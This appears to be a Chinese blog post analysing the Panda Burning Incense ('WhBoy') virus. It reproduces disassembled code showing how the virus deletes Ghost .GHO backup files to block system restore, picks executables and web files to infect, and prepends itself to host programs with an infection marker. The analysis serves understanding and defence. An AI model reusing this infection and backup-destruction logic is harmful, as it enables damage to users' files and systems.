CODE:00409DE3 mov eax, [ebp+var_27C]
CODE:00409DE9 lea edx, [ebp+var_278]
CODE:00409DEF call sub_405700
;格式化后缀名,如果后缀名是小写,则转换为大写
CODE:00409DF4 mov eax, [ebp+var_278]
CODE:00409DFA mov edx, offset dword_40A618
;“GHO”
CODE:00409DFF call sub_404018
;字符串比较函数
CODE:00409E04 jnz short loc_409E2B
CODE:00409E06 lea eax, [ebp+var_280]
CODE:00409E0C mov ecx, [ebp+var_158]
CODE:00409E12 mov edx, [ebp+var_4]
CODE:00409E15 call sub_403F18
;路径拼接
CODE:00409E1A mov eax, [ebp+var_280]
CODE:00409E20 call sub_4040CC
CODE:00409E25 push eax ; lpFileName
CODE:00409E26 call DeleteFileA
;删除ghost备份文件,使用户无法还原
CODE:00409E2B

对文件进行检查,只要后缀名为”‘GHO’”,就会判断其为ghost文件,直接删除,防止用户还原系统。

一旦删除系统备份文件,病毒就开始肆意感染。感染文件类型有两种:exe、scr、pif、com和tm、html、asp、php、jsp、aspx。这两类不同的感染处理方式,我们来看下loc_409E2B处继续分析,如下

上述代码为检查文件后缀,若为exe等则调用sub_40800c(InfectFile)函数实现感染方式。

上述是检查后缀名是否为tm等后缀,调用sub_407ADC (InfectWeb)进行感染方式。

我们先来看下infectFile的感染过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
CODE:0040800C ; Attributes: bp-based frame
CODE:0040800C
CODE:0040800C sub_40800C proc near ; CODE XREF: sub_4094A4+A86p
CODE:0040800C ; sub_4094A4+AECp ...
CODE:0040800C
CODE:0040800C var_1F4 = dword ptr -1F4h
CODE:0040800C var_1F0 = dword ptr -1F0h
CODE:0040800C var_1EC = dword ptr -1ECh
CODE:0040800C var_1E8 = dword ptr -1E8h
CODE:0040800C var_1E4 = dword ptr -1E4h
CODE:0040800C var_1E0 = dword ptr -1E0h
CODE:0040800C var_1DC = byte ptr -1DCh
CODE:0040800C var_10 = dword ptr -10h
CODE:0040800C var_C = dword ptr -0Ch
CODE:0040800C var_8 = dword ptr -8
CODE:0040800C var_4 = dword ptr -4
CODE:0040800C
CODE:0040800C push ebp
CODE:0040800D mov ebp, esp
CODE:0040800F add esp, 0FFFFFE0Ch
CODE:00408015 push ebx
CODE:00408016 push esi
CODE:00408017 push edi
CODE:00408018 xor edx, edx
CODE:0040801A mov [ebp+var_1F0], edx
CODE:00408020 mov [ebp+var_1F4], edx
CODE:00408026 mov [ebp+var_1EC], edx
CODE:0040802C mov [ebp+var_1E8], edx
CODE:00408032 mov [ebp+var_1E4], edx
CODE:00408038 mov [ebp+var_1E0], edx
CODE:0040803E mov [ebp+var_8], edx
CODE:00408041 mov [ebp+var_C], edx
CODE:00408044 mov [ebp+var_10], edx
CODE:00408047 mov [ebp+var_4], eax
CODE:0040804A mov eax, [ebp+var_4]
CODE:0040804D call sub_4040BC
CODE:00408052 xor eax, eax
CODE:00408054 push ebp
CODE:00408055 push offset loc_40827A
CODE:0040805A push dword ptr fs:[eax]
CODE:0040805D mov fs:[eax], esp
CODE:00408060 xor eax, eax
CODE:00408062 push ebp
CODE:00408063 push offset loc_408245
CODE:00408068 push dword ptr fs:[eax]
CODE:0040806B mov fs:[eax], esp
CODE:0040806E lea eax, [ebp+var_1E0]
CODE:00408074 mov ecx, [ebp+var_4]
CODE:00408077 mov edx, offset dword_408290
CODE:0040807C call sub_403F18
CODE:00408081 mov eax, [ebp+var_1E0]
CODE:00408087 mov edx, offset dword_4082A4
CODE:0040808C call sub_4050F0
CODE:00408091 lea edx, [ebp+var_1E4]
CODE:00408097 mov eax, [ebp+var_4]
CODE:0040809A call sub_405644
CODE:0040809F mov eax, [ebp+var_1E4]
CODE:004080A5 call sub_4078C4
CODE:004080AA test al, al
CODE:004080AC jz short loc_4080BB
CODE:004080AE xor eax, eax
CODE:004080B0 pop edx
CODE:004080B1 pop ecx
CODE:004080B2 pop ecx
CODE:004080B3 mov fs:[eax], edx
CODE:004080B6 jmp loc_40824F
CODE:004080BB ; ---------------------------------------------------------------------------
CODE:004080BB
CODE:004080BB loc_4080BB: ; CODE XREF: sub_40800C+A0j
CODE:004080BB call sub_4027DC
CODE:004080C0 lea edx, [ebp+var_1E8]
CODE:004080C6 xor eax, eax
CODE:004080C8 call sub_40277C
CODE:004080CD mov edx, [ebp+var_1E8]
CODE:004080D3 mov eax, [ebp+var_4]
CODE:004080D6 call sub_404018
CODE:004080DB jnz short loc_4080EA
CODE:004080DD xor eax, eax
CODE:004080DF pop edx
CODE:004080E0 pop ecx
CODE:004080E1 pop ecx
CODE:004080E2 mov fs:[eax], edx
CODE:004080E5 jmp loc_40824F
CODE:004080EA ; ---------------------------------------------------------------------------
CODE:004080EA
CODE:004080EA loc_4080EA: ; CODE XREF: sub_40800C+CFj
CODE:004080EA lea eax, [ebp+var_8]
CODE:004080ED call sub_403C44
CODE:004080F2 lea edx, [ebp+var_8]
CODE:004080F5 mov eax, [ebp+var_4]
CODE:004080F8 call sub_407760
CODE:004080FD cmp [ebp+var_8], 0
CODE:00408101 jnz short loc_408110
CODE:00408103 xor eax, eax
CODE:00408105 pop edx
CODE:00408106 pop ecx
CODE:00408107 pop ecx
CODE:00408108 mov fs:[eax], edx
CODE:0040810B jmp loc_40824F
CODE:00408110 ; ---------------------------------------------------------------------------
CODE:00408110
CODE:00408110 loc_408110: ; CODE XREF: sub_40800C+F5j
CODE:00408110 mov edx, [ebp+var_8]
CODE:00408113 mov eax, offset aWhboy ; "WhBoy"
CODE:00408118 call sub_4041B4
CODE:0040811D test eax, eax
CODE:0040811F jle short loc_40812E
CODE:00408121 xor eax, eax
CODE:00408123 pop edx
CODE:00408124 pop ecx
CODE:00408125 pop ecx
CODE:00408126 mov fs:[eax], edx
CODE:00408129 jmp loc_40824F
CODE:0040812E ; ---------------------------------------------------------------------------
CODE:0040812E
CODE:0040812E loc_40812E: ; CODE XREF: sub_40800C+113j
CODE:0040812E push 80h ; dwFileAttributes
CODE:00408133 mov eax, [ebp+var_4]
CODE:00408136 call sub_4040CC
CODE:0040813B mov ebx, eax
CODE:0040813D push ebx ; lpFileName
CODE:0040813E call SetFileAttributesA
CODE:00408143 push 1 ; dwMilliseconds
CODE:00408145 call Sleep
CODE:0040814A push 0 ; bFailIfExists
CODE:0040814C push ebx ; lpNewFileName
CODE:0040814D lea edx, [ebp+var_1EC]
CODE:00408153 xor eax, eax
CODE:00408155 call sub_40277C
CODE:0040815A mov eax, [ebp+var_1EC]
CODE:00408160 call sub_4040CC
CODE:00408165 push eax ; lpExistingFileName
CODE:00408166 call CopyFileA
CODE:0040816B test eax, eax
CODE:0040816D jnz short loc_40817C
CODE:0040816F xor eax, eax
CODE:00408171 pop edx
CODE:00408172 pop ecx
CODE:00408173 pop ecx
CODE:00408174 mov fs:[eax], edx
CODE:00408177 jmp loc_40824F
CODE:0040817C ; ---------------------------------------------------------------------------
CODE:0040817C
CODE:0040817C loc_40817C: ; CODE XREF: sub_40800C+161j
CODE:0040817C push offset dword_4082C8
CODE:00408181 lea edx, [ebp+var_1F0]
CODE:00408187 mov eax, [ebp+var_4]
CODE:0040818A call sub_405644
CODE:0040818F push [ebp+var_1F0]
CODE:00408195 push offset dword_4082D8
CODE:0040819A push offset dword_4082E8
CODE:0040819F mov eax, [ebp+var_8]
CODE:004081A2 call sub_403ECC
CODE:004081A7 lea edx, [ebp+var_1F4]
CODE:004081AD call sub_40587C
CODE:004081B2 push [ebp+var_1F4]
CODE:004081B8 push offset dword_4082F4
CODE:004081BD lea eax, [ebp+var_10]
CODE:004081C0 mov edx, 6
CODE:004081C5 call sub_403F8C
CODE:004081CA lea eax, [ebp+var_C]
CODE:004081CD mov edx, [ebp+var_8]
CODE:004081D0 call sub_403CDC
CODE:004081D5 mov edx, [ebp+var_4]
CODE:004081D8 lea eax, [ebp+var_1DC]
CODE:004081DE call sub_402AD8
CODE:004081E3 mov eax, ds:off_40E2BC
CODE:004081E8 mov byte ptr [eax], 2
CODE:004081EB lea eax, [ebp+var_1DC]
CODE:004081F1 call sub_402874
CODE:004081F6 call sub_402614
CODE:004081FB mov edx, [ebp+var_C]
CODE:004081FE lea eax, [ebp+var_1DC]
CODE:00408204 call sub_404260
CODE:00408209 call sub_402B88
CODE:0040820E call sub_402614
CODE:00408213 mov edx, [ebp+var_10]
CODE:00408216 lea eax, [ebp+var_1DC]
CODE:0040821C call sub_404260
CODE:00408221 call sub_402B88
CODE:00408226 call sub_402614
CODE:0040822B lea eax, [ebp+var_1DC]
CODE:00408231 call sub_402C48
CODE:00408236 call sub_402614
CODE:0040823B xor eax, eax
CODE:0040823D pop edx
CODE:0040823E pop ecx
CODE:0040823F pop ecx
CODE:00408240 mov fs:[eax], edx
CODE:00408243 jmp short loc_40824F

病毒首先将目标文件读取到内存中,并获取其文件名和大小,其次,将自身文件复制到目标文件前,并追加目标程序的原始文件,最后加入标记。

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信